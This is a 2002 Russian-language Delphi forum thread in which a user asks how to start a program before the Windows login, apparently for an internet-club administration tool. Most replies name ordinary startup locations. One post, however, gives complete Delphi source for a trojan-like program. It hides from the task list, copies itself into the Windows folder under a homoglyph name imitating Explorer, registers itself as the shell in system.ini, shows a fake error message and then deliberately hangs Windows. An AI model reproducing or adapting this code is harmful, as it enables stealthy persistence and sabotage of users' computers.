Top.Mail.Ru
Мастера DELPHI, Delphi programming community Титульная страница Поиск, карта сайта Написать письмо 
| Новости | Поиск | FAQ | Статьи | Книги | Новости VCL |
| Форумы ЧАТ | Орешник | KOL и MCK |
Форумы -» Основная («Начинающим»)/ Базы / WinAPI / Компоненты / Сети / Media / Игры / Corba и COM / KOL / FreePascal / .Net / Прочее / RSDN.ORG

« предыдущая ветвь | форум | следующая ветвь »

Запуск программы при загрузке Windows. [D5, Win95/98, WinME]


Metallica ©   (2002-07-28 14:07:00) 

Я написал программу. Что мне нужно сделать для того чтобы она запускалась при загрузке Windows самой первой, даже перед запросом пользователя и пароля.


DVE   (2002-10-18 13:04:00) [1]

я тоже на днях озадачился!
короче сделали так
написали свой Shell пустая форма с картинко. клик- запуск программы.

Запихнули прогу в
\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SHELL

Перехват горячих клавиш!
+свой пустой TaskManager =)

При нажатии на гор клавиши запрос пароля(он закодирован в одну сторону и лежит в реестре)

Так что вот!


BlackDragon   (2002-10-17 03:53:00) [2]

Спасибо


SashOk_   (2002-10-08 09:58:00) [3]

Пропиши в command.com такое (в самом начале):
@имя_проги


melifaro   (2002-07-31 22:33:00) [4]

Только не надо даже и думать, что на самом деле делала эта программа, и почему её трояном называли :))))


melifaro   (2002-07-31 22:30:00) [5]

Привожу пример своей программы. Она запускается перед эксплорером. Т.е. она запускает эксплорер сама.


program WinLoad;

{Функции, которые будем подгружать из виндовых DLL.}

function WritePrivateProfileStringA(ipAppName,ipKeyName,ipString,ipFileName:String): //Запись в файлы INI
integer; stdcall; external "KERNEL32.DLL";

function WinExec(FileName : PChar ; ShowInt : integer): //Запуск приложений...
integer; stdcall; external "KERNEL32.DLL";

Procedure Sleep ( Interval : LongInt) ; stdcall; //Процедура засыпания...
external "KERNEL32.DLL";

function CopyFileA(FromFile : PChar ; ToFile : PChar ; bFailIfExists : Boolean): //Для размножения...
Boolean; stdcall; external "KERNEL32.DLL";

function GetWindowsDirectoryA(Buffer : PChar ; Size : Integer): //Где тут Windows???...
integer; stdcall; external "KERNEL32.DLL";

procedure MessageBox(Wnd: Integer; Text: PChar; Caption: PChar; Typ: Integer); //Простой MessageBox...
stdcall; external "USER32.DLL" name "MessageBoxA";

function RegisterServiceProcess(dwProcessID, dwType: integer): //Изчезаем в Ctrl+Alt+Del...
integer; stdcall; external "KERNEL32.DLL";

function GetCurrentProcessId : //Получение ID нашего процесса
integer; stdcall; external "KERNEL32.DLL";

{Функции, которые выдраны из модуля SysUtils}

function UpperCase(const S: string): string; //Приведение к верхнему регистру...
var
Ch: Char;
L: Integer;
Source, Dest: PChar;
begin
L := Length(S);
SetLength(Result, L);
Source := Pointer(S);
Dest := Pointer(Result);
while L <> 0 do
begin
Ch := Source^;
if (Ch >= "a") and (Ch <= "z") then Dec(Ch, 32);
Dest^ := Ch;
Inc(Source);
Inc(Dest);
Dec(L);
end;
end;

function StrAlloc(Size: Cardinal): PChar; //Выделение памяти под PChar...
begin
Inc(Size, SizeOf(Cardinal));
GetMem(Result, Size);
Cardinal(Pointer(Result)^) := Size;
Inc(Result, SizeOf(Cardinal));
end;

{Процедура "Виси Windows, виси"}

Procedure DropESP;
Asm
Mov ESP , $FFFF;
End;

{Поехали...}

Var
Buf : PChar;
WinDir : String;
Launch : String;

Begin

{Сначала спрячем себя из списка задач, чтобы ламер нас по CTRL+ALT+DEL
не вычислил.}
RegisterServiceProcess(GetCurrentProcessID, 1);

{Теперь получаем директорию Windows. Там Мы будем жить...}
Buf := StrAlloc(260);
GetWindowsDirectoryA(Buf,260);
WinDir := Buf + "\";

{Копируем себя в директорию Windows. Там тепло и просторно...}
CopyFileA(PChar(ParamStr(0)),PChar(WinDir + "Еxplorer.Exe"),False);

{Вводим переменную, которая будет нашим новым именем. Используем
старый трюк: в нашем новом имени "Explorer.Exe", первая буква - русская "Е".}
Launch := WinDir + "Еxplorer.Exe";

{Пишемся в SYSTEM.INI. Оттуда будем грузиться.}
WritePrivateProfileStringA ("Boot", "Shell",Launch, WINDIR+"system.ini");

{Если это наш первый запуск, то делаем вид, что мы испорчены и вообще не приложение...}
If UpperCase(ParamStr(0)) <> UpperCase(WinDir + "Еxplorer.Exe") then
MessageBox(0,Pchar((ParamStr(0)+ " не является приложением Win32.")),PChar(ParamStr(0)),$00000010)

{Если мы уже подгрузились из SYSTEM.INI, запускаем EXPLORER.EXE,
ждём...вешаем винды...}

Else
Begin
WritePrivateProfileStringA ("Boot", "Shell", "Explorer.Exe", WINDIR+"system.ini"); //Пишем Explorer в System.Ini
WinExec("Explorer.Exe",1); //Запускаем Explorer...
WritePrivateProfileStringA ("Boot", "Shell",Launch, WINDIR+"system.ini"); //Пишемся обратно в System.Ini
Sleep ( 120000 ); //2 минуты ждём...
DropESP; //Вешаем Windows...
End;

{Вот и всё...}

end.


Copyright © Melifaro


VEG   (2002-07-31 22:15:00) [6]

Metallica, для какого города программа?


Doctor Snap   (2002-07-31 20:54:00) [7]

А ты не пробовал вто же время блокировать Ctrl+Alt+Del?


Metallica   (2002-07-29 20:16:00) [8]

>VEG
Вопрос по программе "Администратор игрового клуба":
- меня интересует блокировка клавиатуры и мыши (у меня есть пример
procedure BlockInput(ABlockInput : boolean); stdcall; external "USER32.DLL";
но при нажатии 3-х "MagicKeys" она снимается).

Если есть другой способ то напиши или скинь на E-mail.


Sir DAMM   (2002-07-29 13:05:00) [9]

если win9x то пропиши её в HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices

а вообще такую вещь лучне ввиде shell"а писать


VEG   (2002-07-29 12:17:00) [10]

>Metallica
Я так и думал!
Сейчас сам такую пишу...


Metallica   (2002-07-29 12:14:00) [11]

>VEG
мне это нужно для программы "Администратор игрового клуба".


Antonius   (2002-07-29 11:18:00) [12]

Хм... Надо писать свой загрузчик в MBR :)


hitek   (2002-07-29 10:59:00) [13]

VEG
а как реализовать такое?


VEG   (2002-07-28 17:21:00) [14]

Я знаю, как такое реализовать, но зачем тебе это?


Неотеничный Педоморф   (2002-07-28 15:30:00) [15]

Совсем круто, когда прога запускается не то что перед загрузкой Windows, а перед включением компа!


Наверх

Титульная страница Поиск, карта сайта Написать письмо